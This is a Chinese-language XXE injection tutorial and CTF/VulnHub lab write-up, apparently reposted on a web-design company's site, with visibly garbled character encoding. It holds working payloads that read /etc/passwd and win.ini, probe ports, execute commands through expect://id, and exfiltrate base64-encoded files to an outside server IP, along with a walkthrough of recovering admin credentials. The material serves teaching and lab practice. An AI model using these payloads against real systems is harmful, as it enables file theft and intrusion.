這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)XXE漏洞原理是什么,文章內(nèi)容豐富且以專(zhuān)業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
創(chuàng)新互聯(lián)是一家專(zhuān)業(yè)提供濱湖企業(yè)網(wǎng)站建設(shè),專(zhuān)注與成都網(wǎng)站制作、做網(wǎng)站、H5網(wǎng)站設(shè)計(jì)、小程序制作等業(yè)務(wù)。10年已為濱湖眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專(zhuān)業(yè)的建站公司優(yōu)惠進(jìn)行中。
XXE全稱(chēng)XML External Entity InjectionXML在引入外部實(shí)體的時(shí)候完成注入攻擊稱(chēng)為XXE。那么它帶來(lái)的危害有那些:
1.DOS攻擊
2.SSRF攻擊
3.使用file協(xié)議讀取任意文件
4.端口探測(cè)
5.執(zhí)行系統(tǒng)命令
XML是一種用來(lái)傳輸和存儲(chǔ)數(shù)據(jù)的可擴(kuò)展標(biāo)記語(yǔ)言。
XML用于傳輸和數(shù)據(jù)存儲(chǔ)。HTML用于顯示數(shù)據(jù)。
Dtd文檔類(lèi)型定義是一套為了進(jìn)行程序見(jiàn)的數(shù)據(jù)交換而建立的關(guān)于標(biāo)記符的語(yǔ)法規(guī)則。
1.1 xml語(yǔ)法
語(yǔ)法規(guī)則
1.所有的XML元素都必須有一個(gè)關(guān)閉標(biāo)簽
2.XML標(biāo)簽對(duì)大小寫(xiě)敏感
3.XML必須正確嵌套
4.XML屬性值必須加引號(hào)“”
5.實(shí)體引用:在標(biāo)簽屬性,或者對(duì)應(yīng)位置值可能出現(xiàn)<>符號(hào),這些在對(duì)應(yīng)的xml中都是特殊含義的,那么必須使用對(duì)應(yīng)html的實(shí)體對(duì)應(yīng)的表示:例如,<message>if salary < 1000 then </message>如果把這個(gè)“<”放在元素中,那么解析器會(huì)把他當(dāng)成新元素的開(kāi)始,就會(huì)發(fā)生報(bào)錯(cuò)。為了避免這個(gè)錯(cuò)誤使用實(shí)體引用來(lái)代替<message>if salary &lt; 1000 then </message>
1.2 xml結(jié)構(gòu)
XML 文檔聲明,在文檔的第一行
XML 文檔類(lèi)型定義,即DTD,XXE 漏洞所在的地方
XML 文檔元素
1.3 XML DTD(文檔類(lèi)型定義)
DTD的作用就是用來(lái)定義XML文檔的合法構(gòu)建模塊DTD可以在XML文檔內(nèi)聲明,也可以在外部引用。
內(nèi)部聲明DTD <!DOCTYPE 根元素 [元素聲明]> 外部聲明DTD <!DOCTYPE 根元素 SYSTEM "文件名"> <!DOCTYPE note SYSTEM "Note.dtd"> 或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
實(shí)例1.1:內(nèi)部聲明DTD
<?xml version="1.0"?> //xml聲明 <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> //定義了note元素,并且note元素下面有4個(gè)子元素 <!ELEMENT to (#PCDATA)> //定義了子元素to,后面的(#PCDATA)意思是to元素里面的字符串內(nèi)容不會(huì)被解析 <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> //從<!DOCTYPE...到}>,是DTD文檔的定義 <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> //后面這部分就是XML文件內(nèi)容
實(shí)例1.2:外部聲明DTD
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
這個(gè)note.dtd的內(nèi)容就是:
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
DTD實(shí)體DTD實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以?xún)?nèi)部聲明或外部引用。
內(nèi)部聲明實(shí)體 <!DOCTYPE 實(shí)體名稱(chēng) "實(shí)體的值"> 引用外部實(shí)體 <!DOCTYPE 實(shí)體名稱(chēng) SYSTEM "URL"> 或者 <!DOCTYPE 實(shí)體名稱(chēng) PUBLIC "public_ID" "URL">
實(shí)例2.1:內(nèi)部聲明實(shí)體
<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]> <note> <name>&hack3r;</name> </note>
實(shí)例2.2:外部聲明實(shí)體外部實(shí)體用來(lái)引用外部資源,有兩個(gè)關(guān)鍵字SYSTEM和PUBLIC兩個(gè),表示實(shí)體來(lái)自本地計(jì)算機(jī)還是公共計(jì)算機(jī),外部實(shí)體的利用會(huì)用到協(xié)議如下:
不同語(yǔ)言下支持的協(xié)議:
<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "http://www.chenguanxin.com"> ]> <note> <name>&hack3r;</name> </note>
參數(shù)實(shí)體參數(shù)實(shí)體只能在DTD中定義和使用實(shí)體,一般的話(huà)引用時(shí)%作為前綴。而內(nèi)部實(shí)體是指在一個(gè)實(shí)體中定義的另一個(gè)實(shí)體,說(shuō)白了就是嵌套的。
<!ENTITY %實(shí)體名稱(chēng) "值"> <!ENTITY %實(shí)體名稱(chēng) SYSTEM "URL">
實(shí)例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
而里面引用的外部實(shí)體evil.dtd的內(nèi)容:
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
正因?yàn)橥獠繉?shí)體支持的http,file等協(xié)議,那么就有可能通過(guò)以用外部實(shí)體進(jìn)行遠(yuǎn)程文件讀取。
綜上所述,xxe漏洞就是允許了引入外部實(shí)體的加載,從而導(dǎo)致程序在解析xml的時(shí)候,可以加載惡意外部文件,從而造成文件讀取等危害。
2.1 文件讀?。ㄓ谢仫@)
xxe-php靶場(chǎng)演示:
我們先看一下dologin.php代碼
libxml_disable_entity_loader(false);函數(shù)意思就是不禁止外部實(shí)體加載;file_get_contents()函數(shù),把整個(gè)文件讀入一個(gè)字符串中。LIBXML_NOENT: 將 XML 中的實(shí)體引用 替換 成對(duì)應(yīng)的值LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件 通過(guò)php://input協(xié)議獲取POST請(qǐng)求數(shù)據(jù),然后把數(shù)據(jù)通過(guò)file_get_contents()函數(shù),放在$xmlfile變量中。
我們先抓包,看一下
傳輸類(lèi)型是xml,通過(guò)post傳輸?shù)臄?shù)據(jù)。然后看一下返回的響應(yīng)包
發(fā)現(xiàn),響應(yīng)包返回的信息中,有username的值admin。
那么我么嘗試構(gòu)造payload來(lái)構(gòu)造外部實(shí)體admin處的注入,利用協(xié)議讀取文件
網(wǎng)站在window系統(tǒng)上搭建: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "file:///c:/windows/win.ini"> ]> <user><username>&xxes;</username><password>admin</password></user> 網(wǎng)站在linux系統(tǒng)上搭建: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "file:///etc/passwd"> ]> <user><username>&xxes;</username><password>admin</password></user>
成功讀取了c盤(pán)下win.in文件。
這種情況是提交請(qǐng)求后,響應(yīng)有回顯的時(shí)候。但是有時(shí)候沒(méi)有回顯的時(shí)候就可以使用Blind xxe。
2.2 文件讀?。o(wú)回顯blind xxe)
blind xxe雖然不回顯信息,但是可以利用file協(xié)議來(lái)讀取文件。對(duì)于這種情況,就可以用到參數(shù)實(shí)體了。用下面這個(gè)靶場(chǎng)演示一下
靶場(chǎng)地址:https://www.vulnspy.com/phpaudit-xxe/
在輸入框輸入構(gòu)造的xxe代碼,抓取請(qǐng)求包
我們看到將我們提交的xxe代碼,放在date里面,響應(yīng)包沒(méi)有返回我們要查詢(xún)的信息,只有ok輸出在頁(yè)面上。
對(duì)于沒(méi)有回顯,就要利用http協(xié)議將請(qǐng)求發(fā)送到遠(yuǎn)程服務(wù)器上,從而獲取文件的內(nèi)容。那么在我們自己的服務(wù)器上,寫(xiě)一個(gè)dtd文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://39.107.90.188:8081/%file;'>">
然后在服務(wù)其上監(jiān)聽(tīng)8081端口
然后,我們將構(gòu)造的xxe代碼,輸入到輸入框并提交
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://39.107.90.188/evil.dtd"> %remote;%int;%send; ]>
然后在vps看一下監(jiān)聽(tīng)
出現(xiàn)base64加密的數(shù)據(jù),用base64解密內(nèi)容:
成功讀取了passwd文件內(nèi)容。
上面構(gòu)造的payload,調(diào)用了%remote ,%int ,%send三個(gè)參數(shù)實(shí)體。一次利用順序就是通過(guò)%remote調(diào)用遠(yuǎn)程服務(wù)器vps上,我們常見(jiàn)的evil.dtd文件,然后%int調(diào)用了evil.dtd中的%file,而%file就會(huì)獲取服務(wù)讀取敏感文件,然后將%file的結(jié)果放到%send之后,然后我們調(diào)用%send,把讀取的數(shù)據(jù)以get請(qǐng)求發(fā)送到服務(wù)器vps上,這就是外帶數(shù)據(jù)的結(jié)果。
2.3 端口探測(cè)
正因?yàn)閤ml外部實(shí)體攻擊利用的http協(xié)議,也就是說(shuō)利用該請(qǐng)求探測(cè)內(nèi)網(wǎng)端口的存活,從而可以進(jìn)行ssrf攻擊。構(gòu)造代碼:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM “http://127.0.0.1:8000"> ]> <user><username>&xxes;</username><password>admin</password></user>
2.4命令執(zhí)行
前提是:在php環(huán)境中,如果說(shuō)php擴(kuò)展安裝expect擴(kuò)展,那么就能執(zhí)行系統(tǒng)命令。構(gòu)造代碼:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxes SYSTEM "expect://id"> ]> <user><username>&xxes;</username><password>admin</password></user>
3.1 api調(diào)用
是來(lái)自Jarvis OJ平臺(tái)的一道web題型,地址http://web.jarvisoj.com:9882/
看到題目說(shuō)flag在/home/ctf/flag.txt中,那么就是訪(fǎng)問(wèn)這個(gè)目錄了。
首先,我們看一下地址入口,頁(yè)面是一個(gè)提交框,點(diǎn)擊go后,把輸入框輸入的信息,提交到文本框中
看一下響應(yīng)包中的提交數(shù)據(jù)包和響應(yīng)包數(shù)據(jù):
發(fā)現(xiàn),提交數(shù)據(jù)是以json格式提交的數(shù)據(jù)。那么對(duì)于這種提交方式,去嘗試會(huì)不會(huì)解析xml,那么要修改一下Content-type為xml,然后寫(xiě)一個(gè)xml,看響應(yīng)包解不解析:
可以看到返回的響應(yīng)數(shù)據(jù)包中,返回輸入了內(nèi)容,也就是說(shuō)服務(wù)器成功解析,是由回顯的xxe,那么我么那就構(gòu)造paly了。用我們平常構(gòu)造的代碼,看是否能讀passwd文件數(shù)據(jù):
構(gòu)造paylaod
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEANY[<!ENTITYxxesSYSTEM"file:///etc/passwd"> ]> <root> &xxes;</root>
果然成功讀出了passwd的內(nèi)容,那么就去訪(fǎng)問(wèn)flag.txt文件了,構(gòu)造代碼payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEANY[<!ENTITYxxesSYSTEM"file:///home/ctf/flag.txt"> ]> <root> &xxes;</root>
看到成功獲取了flag。
3.2 vulnhub靶場(chǎng)
這個(gè)靶場(chǎng)是透過(guò)我們平常滲透測(cè)試思路,信息收集,根據(jù)收集的信息查找漏洞,利用漏洞,一步步拿到flag。
網(wǎng)站搭建,下載虛擬機(jī),直接導(dǎo)入vm中就行,下載https://download.vulnhub.com/xxe/XXE.zip
我們導(dǎo)入虛擬機(jī)后,需要密碼賬號(hào)進(jìn)入,這里不需要。
因?yàn)槭翘摂M機(jī)導(dǎo)入,就可以知道這個(gè)的ip地址:192.168.171.146,通過(guò)瀏覽器訪(fǎng)問(wèn),出現(xiàn)apache2服務(wù)頁(yè)面
會(huì)不會(huì)含有其他目錄呢,使用目錄掃描掃描一下目錄:
發(fā)現(xiàn)robots.txt文件,訪(fǎng)問(wèn)一下:
看到存在兩個(gè)頁(yè)面,訪(fǎng)問(wèn)xxe目錄
發(fā)現(xiàn)是一個(gè)登錄頁(yè)面,那么輸入賬號(hào)密碼,看看響應(yīng)包是什么數(shù)據(jù)
看到通過(guò)xml傳輸數(shù)據(jù),那么是不是可以利用xxe漏洞呢?那就嘗試常用讀取文件的payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEANY[<!ENTITYxxeSYSTEM"file:///etc/passwd"> ]><root><name>&xxe;</name><password>admin</password></root>
居然成功讀取了,存在xxe漏洞。
我們?cè)俨榭匆幌?,剛才robots.txt中的admin.php頁(yè)面
需要登錄,那就利用xxe漏洞讀取admin.php源。
這里構(gòu)造payload的時(shí)候,使用base64方法讀取文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]><root><name>&xxe;</name><password>admin</password></root>
將響應(yīng)包中的base64編碼解碼:
看到登錄頁(yè)面的密碼和賬號(hào),但是賬號(hào)md5加密,解密就ok
利用賬號(hào)administhebest和密碼admin@123 登錄頁(yè)面:
頁(yè)面出現(xiàn)flag,點(diǎn)擊進(jìn)去,頁(yè)面跳轉(zhuǎn)到flagmeout.php
頁(yè)面不顯示,那么再利用xxe漏洞讀取該文件內(nèi)容
然后把得到base64解密:
成功拿到flag<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->
通過(guò)上面學(xué)習(xí)總結(jié),xxe漏洞產(chǎn)生的原因是,允許加載了外部實(shí)體。那么要防御禁止外部實(shí)體加載。
libxml_disable_entity_loader(true);
將false不禁止外部實(shí)體加載,改為true禁止外部實(shí)體加載。
上述就是小編為大家分享的XXE漏洞原理是什么了,如果剛好有類(lèi)似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
本文題目:XXE漏洞原理是什么
本文URL:http://aaarwkj.com/article44/gpjshe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供建站公司、網(wǎng)站維護(hù)、網(wǎng)站排名、網(wǎng)站策劃、品牌網(wǎng)站制作、小程序開(kāi)發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)